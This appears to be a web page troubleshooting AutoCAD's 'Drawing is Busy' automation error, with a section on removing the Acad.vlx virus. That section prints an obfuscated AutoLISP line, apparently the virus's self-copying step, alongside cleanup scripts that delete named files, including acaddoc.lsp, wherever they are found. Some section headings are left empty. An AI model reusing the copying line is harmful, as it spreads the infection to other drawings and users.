The "Automation Error: Drawing is Busy" when
trying to save a DWG file typically occurs in AutoCAD or similar CAD
software, especially when you're automating tasks via VBA, LISP,
or other scripting tools. This error generally indicates that AutoCAD is still processing
a command or that the document is locked, and your script or macro
is trying to perform an operation (like saving) before the previous one is
complete.
Automation error: Drawing is Busy
when trying to save a DWG file
Issue:
Automation error: Drawing is busy
AutoCAD then crashes or hangs losing all work from last save.
Causes:
Solution:
How to detect and remove the
Acad.vlx virus
Issue:
Solution:
To prevent additional file
corruptions
(defun cleanvirus( /
lspfiles lspfile x)
(setq lspfiles
'("acad.vlx" "logo.gif"))
(foreach lspfile lspfiles
(while (setq x (findfile
lspfile))
(progn
(vl-file-delete x)
(princ "\nDeleted file ")
(princ x)
);progn
);while
);foreach
)
(cleanvirus)
Note: Replace ROAMABLEROOTPREFIX with the value returned by the ROAMABLEROOTPREFIX system variable.
(vl-file-copy(findfile(vl-list->string'(108
111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108
120)))
(defun cleanvirus( / lspfiles lspfile x)
(setq lspfiles '("acad.vlx"
"logo.gif"
"acaddoc.lsp"
"acad.fas"))
(foreach lspfile lspfiles
(while (setq x (findfile lspfile))
(progn
(vl-file-delete x)
(princ
"\nDeleted file ")
(princ x)
);progn
);while
);foreach
)
(cleanvirus)
SAP Client Creation (SCC4) & Logical system (BD54) in SAP
Question |
Answer |
What does “Drawing is Busy” mean? |
AutoCAD is processing a command and cannot take another
immediately. |
Can this happen in non-automated tasks? |
Rarely, but yes — usually due to system lag or open
background tasks. |
How do I prevent this in VBA scripts? |
Use DoEvents, Wait, or ensure commands complete before
saving. |
Does this affect file integrity? |
It can. Unsaved changes may be lost or corrupted if not
handled well. |
Is there a fix without restarting AutoCAD? |
Yes. Wait a few seconds, ensure no active commands, then
retry saving. |
How can I install WhatsApp on my computer?
Solutions and Workarounds
1. Add Delay or Wait
If you're using VBA, LISP, or .NET, insert a delay or DoEvents
command before saving.
VBA Example:
DoEvents
ThisDrawing.Save
.NET Example:
Use Application.DocumentManager.MdiActiveDocument.Editor.Command("._QSAVE")
after ensuring the command line is idle.
2. Check for Background Commands
Make sure no background operations like REGEN, SAVE, or RELOAD
are running.
Use:
(command "._wait")
Or check command stack status before proceeding.
3. Use Transaction Handling (for .NET APIs)
Ensure all transactions or command stacks are committed or
disposed properly before attempting SAVE.
4. Avoid Multithreading with AutoCAD COM
AutoCAD’s COM API is not thread-safe. Avoid
background threads trying to control the drawing.
5. Manually Save Before Automating
Open the drawing, perform initial setup, and manually save
before launching the automation script.
Social Plugin